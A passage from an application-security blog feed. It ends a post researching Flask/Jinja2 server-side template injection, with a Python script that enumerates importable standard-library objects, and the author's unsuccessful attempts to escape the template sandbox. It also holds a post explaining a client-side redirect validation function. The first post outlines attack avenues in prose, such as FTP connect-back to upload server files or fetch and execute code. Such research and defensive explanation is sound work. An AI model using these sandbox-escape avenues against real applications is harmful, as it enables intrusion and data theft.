            &lt;span class=&#34;n&#34;&gt;module&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;__import__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;module_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;None&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;None&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;ImportError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;c1&#34;&gt;# support importing modules not yet set up by the parent module&lt;/span&gt;
            &lt;span class=&#34;c1&#34;&gt;# (or package for that matter)&lt;/span&gt;
            &lt;span class=&#34;n&#34;&gt;module&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;import_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;module_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;getattr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;module&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;AttributeError&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;raise&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;ImportError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

    &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;ImportError&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;silent&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;raise&lt;/span&gt;

&lt;span class=&#34;k&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;ScanManager&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;

    &lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;fm&#34;&gt;__init__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;2.6&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
        &lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;libs&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stdlib_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

    &lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;from_object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
        &lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;import_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;n&#34;&gt;config&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{}&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;dir&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;isupper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;
                &lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;getattr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;

    &lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;scan_source&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;lib&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;libs&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;n&#34;&gt;config&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;from_object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lib&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
                &lt;span class=&#34;n&#34;&gt;conflen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;max&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;keys&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
                &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;sorted&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;keys&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()):&lt;/span&gt;
                    &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;[&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{0}&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;] &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{1}&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt; =&amp;gt; &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{2}&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;format&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lib&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ljust&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;conflen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;repr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])))&lt;/span&gt;

&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;
    &lt;span class=&#34;c1&#34;&gt;# parse arguments&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;ap&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;argparse&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ArgumentParser&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;ap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add_argument&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;version&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;parse_args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
    &lt;span class=&#34;c1&#34;&gt;# creat a scanner instance&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;sm&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ScanManager&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
    &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{module}&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;] {config key} =&amp;gt; {config value}&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;sm&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;scan_source&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;

&lt;span class=&#34;c1&#34;&gt;# start of main code&lt;/span&gt;
&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;vm&#34;&gt;__name__&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;__main__&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Below is some abbreviated output from the script when ran against Python 2.7, including the most interesting importable items.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;(venv)macbook-pro:search lanmaster$ ./search.py 2.7

[{module}] {config key} =&amp;gt; {config value}

...
[ctypes] CFUNCTYPE               =&amp;gt; &amp;lt;function CFUNCTYPE at 0x10c4dfb90&amp;gt;
...
[ctypes] PYFUNCTYPE              =&amp;gt; &amp;lt;function PYFUNCTYPE at 0x10c4dff50&amp;gt;
...
[distutils.archive_util] ARCHIVE_FORMATS =&amp;gt; {&#39;gztar&#39;: (&amp;lt;function make_tarball at 0x10c5f9d70&amp;gt;, [(&#39;compress&#39;, &#39;gzip&#39;)], &#34;gzip&#39;ed tar-file&#34;), &#39;ztar&#39;: (&amp;lt;function make_tarball at 0x10c5f9d70&amp;gt;, [(&#39;compress&#39;, &#39;compress&#39;)], &#39;compressed tar file&#39;), &#39;bztar&#39;: (&amp;lt;function make_tarball at 0x10c5f9d70&amp;gt;, [(&#39;compress&#39;, &#39;bzip2&#39;)], &#34;bzip2&#39;ed tar-file&#34;), &#39;zip&#39;: (&amp;lt;function make_zipfile at 0x10c5f9de8&amp;gt;, [], &#39;ZIP file&#39;), &#39;tar&#39;: (&amp;lt;function make_tarball at 0x10c5f9d70&amp;gt;, [(&#39;compress&#39;, None)], &#39;uncompressed tar file&#39;)}
...
[ftplib] FTP                     =&amp;gt; &amp;lt;class ftplib.FTP at 0x10cba7598&amp;gt;
[ftplib] FTP_TLS                 =&amp;gt; &amp;lt;class ftplib.FTP_TLS at 0x10cba7600&amp;gt;
...
[httplib] HTTP                            =&amp;gt; &amp;lt;class httplib.HTTP at 0x10b3e96d0&amp;gt;
[httplib] HTTPS                           =&amp;gt; &amp;lt;class httplib.HTTPS at 0x10b3e97a0&amp;gt;
...
[ic] IC =&amp;gt; &amp;lt;class ic.IC at 0x10cbf9390&amp;gt;
...
[shutil] _ARCHIVE_FORMATS =&amp;gt; {&#39;gztar&#39;: (&amp;lt;function _make_tarball at 0x10a860410&amp;gt;, [(&#39;compress&#39;, &#39;gzip&#39;)], &#34;gzip&#39;ed tar-file&#34;), &#39;bztar&#39;: (&amp;lt;function _make_tarball at 0x10a860410&amp;gt;, [(&#39;compress&#39;, &#39;bzip2&#39;)], &#34;bzip2&#39;ed tar-file&#34;), &#39;zip&#39;: (&amp;lt;function _make_zipfile at 0x10a860500&amp;gt;, [], &#39;ZIP file&#39;), &#39;tar&#39;: (&amp;lt;function _make_tarball at 0x10a860410&amp;gt;, [(&#39;compress&#39;, None)], &#39;uncompressed tar file&#39;)}
...
[xml.dom.pulldom] SAX2DOM                =&amp;gt; &amp;lt;class xml.dom.pulldom.SAX2DOM at 0x10d1028d8&amp;gt;
...
[xml.etree.ElementTree] XML        =&amp;gt; &amp;lt;function XML at 0x10d138de8&amp;gt;
[xml.etree.ElementTree] XMLID      =&amp;gt; &amp;lt;function XMLID at 0x10d13e050&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From here, we apply our methodology to the interesting items in hopes of finding something we can use to escape the template sandbox.&lt;/p&gt;
&lt;p&gt;TL;DR, I was unable to find a sandbox escape through any of these items. But for the sake of sharing research, below is additional information about my approach to a few of them. Also note that I did not exhaust all possibilities. There is certainly opportunity for further research.&lt;/p&gt;
&lt;h4&gt;ftplib&lt;/h4&gt;
&lt;p&gt;Here we have the possibilty of using a &lt;code&gt;ftplib.FTP&lt;/code&gt; object to connect back to a server we control and upload files from the affected server, or download files from a server to the affected server and &lt;code&gt;exec&lt;/code&gt; the contents using the &lt;code&gt;config.from_pyfile&lt;/code&gt; method. Analysis of the &lt;code&gt;ftplib&lt;/code&gt; documentation and source code shows that &lt;code&gt;ftplib&lt;/code&gt; requires open file handlers to do this, and since the &lt;code&gt;open&lt;/code&gt; built-in is disabled in the template sandbox, there doesn&#39;t seem to be a way to create the file handlers.&lt;/p&gt;
&lt;h4&gt;httplib&lt;/h4&gt;
&lt;p&gt;Here we have the possibilty of using a &lt;code&gt;httplib.HTTP&lt;/code&gt; object to load the URLs of files on the local file system using the file protocol handler, &lt;code&gt;file://&lt;/code&gt;. Unfortunately, &lt;code&gt;httplib&lt;/code&gt; does not support the file protocol handler.&lt;/p&gt;
&lt;h4&gt;xml.etree.ElementTree&lt;/h4&gt;
&lt;p&gt;Here we have the possibilty of using a &lt;code&gt;xml.etree.ElementTree.XML&lt;/code&gt; object to load files from the file system using user defined entities. However, as can be seen &lt;a href=&#34;https://docs.python.org/2/library/xml.html#xml-vulnerabilities&#34;&gt;here&lt;/a&gt;, &lt;code&gt;etree&lt;/code&gt; does not support user-defined entities.&lt;/p&gt;
&lt;h4&gt;xml.dom.pulldom&lt;/h4&gt;
&lt;p&gt;While the &lt;code&gt;xml.etree.ElementTree&lt;/code&gt; modules doesn&#39;t support user-defined entities, the &lt;code&gt;pulldom&lt;/code&gt; module does. However, we are limited to the &lt;code&gt;xml.dom.pulldom.SAX2DOM&lt;/code&gt; class, which does not appear to expose a way to load XML through the object&#39;s interface.&lt;/p&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;Even though we&#39;ve not yet discovered a way to escape the template sandbox, we&#39;ve made some headway in determining the impact of SSTI in the Flask/Jinja2 development stack. I&#39;m certain that there is some additional digging to do here, and I intend to continue, but I encourage others to dig in and explore as well. I&#39;ll update things here if/when I find additional items of interest regarding this research.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="flask"/>
    </entry>
    <entry>
        <title>Validating Redirects with Hyperlinks</title>
        <id>https://www.lanmaster53.com/blog/2015/12/02/validating-redirects-with-hyperlinks/</id>
        <link href="https://www.lanmaster53.com/blog/2015/12/02/validating-redirects-with-hyperlinks/"/>
        <published>2015-12-02T00:00:00Z</published>
        <updated>2015-12-02T00:00:00Z</updated>
        <summary>I came across an application recently that contained an Unvalidated Redirect flaw. The flaw was pretty basic. The login page accepted a next parameter and…</summary>
        <content type="html">&lt;p&gt;I came across an application recently that contained an Unvalidated Redirect flaw. The flaw was pretty basic. The login page accepted a &lt;code&gt;next&lt;/code&gt; parameter and blindly redirected to the value of the parameter without validating whether or not the value represented a trusted destination. The redirect occurred in client-side logic without the parameter ever hitting the server. My recommendation to the client included a pretty basic JavaScript validation filter, and they quickly implemented a fix and sent the code back for me to validate if the flaw had been remediated. In looking at the code, I realized that they had not implemented my recommended code, but did something that I had not seen before and thought was quite novel. Hence, why I am writing this.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;The remediated redirect logic contained a call to a function that consumed the value of the &lt;code&gt;next&lt;/code&gt; parameter and the hostname of the current location.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;document.location = validate(next, document.location.hostname)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Pretty standard stuff. The interesting bit was in the called function.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;function validate(n, c) { var r = document.createElement(&#34;a&#34;); return r.href = n, r.hostname === c ? n : &#34;/&#34;; }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Which can be simplified to...&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;function validate(n, c) { var r = document.createElement(&#34;a&#34;); r.href = n; return r.hostname === c ? n : &#34;/&#34;; }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Which can be further simplified to...&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;function validate(n, c) { var r = document.createElement(&#34;a&#34;); r.href = n; if(r.hostname === c) { return r.href; } else { return &#34;/&#34; ; }}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I am including several versions of the same code because the first version can be quite confusing to folks that aren&#39;t familiar with the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator&#34;&gt;Comma&lt;/a&gt; operator.&lt;/p&gt;
&lt;p&gt;Just in case you haven&#39;t picked up on it yet, let&#39;s look at exactly what is going on here. I am using the Chrome Developer Tools JavaScript console on the &lt;a href=&#34;https://nvisium.com&#34;&gt;nVisium&lt;/a&gt; web page to demonstrate this if you want to follow along. Paste one of the functions above into the console and assign a value to a variable called &lt;code&gt;next&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;var next = &#34;http://lanmaster53.com&#34;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now let&#39;s follow the logic of the first simplified version of the &lt;code&gt;validate&lt;/code&gt; function to see how this works. The function first creates a hyperlink tag. Don&#39;t type the following into the console. I&#39;ll let you know when we&#39;re ready to continue with the demonstration.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;var r = document.createElement(&#34;a&#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Hyperlink tags accept an attribute called &lt;code&gt;href&lt;/code&gt; that determines the destination of the browser when the hyperlink is clicked. The function then sets the &lt;code&gt;href&lt;/code&gt; attribute of the dynamically created hyperlink to the value of the &lt;code&gt;next&lt;/code&gt; parameter.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;r.href = n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is where it gets interesting. Like the &lt;code&gt;document&lt;/code&gt; object itself, the hyperlink tag object has a &lt;code&gt;hostname&lt;/code&gt; property. Once the hyperlink&#39;s &lt;code&gt;href&lt;/code&gt; attribute has a value, the &lt;code&gt;hostname&lt;/code&gt; property will contain a nicely parsed hostname for the assigned &lt;code&gt;href&lt;/code&gt;. What the function is essentially doing is using the browser&#39;s builtin parser to break apart URLs in a consistent manner. Pretty cool, right?&lt;/p&gt;
&lt;p&gt;All that&#39;s left for the function to do is compare the hostname of the document (provided to the function) and the hostname derived from the dynamically created hyperlink to determine whether the value of the &lt;code&gt;next&lt;/code&gt; parameter is a safe location, in this case local to the application.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;return r.hostname === c ? n : &#34;/&#34;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is a &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator&#34;&gt;Ternary&lt;/a&gt; operator that accepts a conditional expression that evaluates to &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; and returns one of two expressions based on the result. In this case, the function returns the value of the &lt;code&gt;next&lt;/code&gt; parameter if the hostnames match, or the root of the web site if they do not, effectively restricting all redirects to locations local to the application.&lt;/p&gt;
&lt;p&gt;Let&#39;s test the validation function with our values. Enter the following into the console to continue the demonstration.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;validate(next, document.location.hostname)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function should have returned &lt;code&gt;/&lt;/code&gt;, which, when assigned to &lt;code&gt;document.location&lt;/code&gt; would redirect the browser to the root of the website. Now change the value of &lt;code&gt;next&lt;/code&gt; to something local and test.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;var next = &#34;https://nvisium.com/blog&#34;
validate(next, document.location.hostname)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function should have returned the value of &lt;code&gt;next&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Using the browser&#39;s builtin parser to break apart URLs is pretty darn cool if you ask me. And you aren&#39;t limited to the hostname. Hyperlinks also have the &lt;code&gt;origin&lt;/code&gt; property if you want to restrict URLs based on similar restrictions enforced by Same-Origin Policy. In any case, I thought this was worth sharing.&lt;/p&gt;</content>
        <category term="appsec"/>
    </entry>
</feed>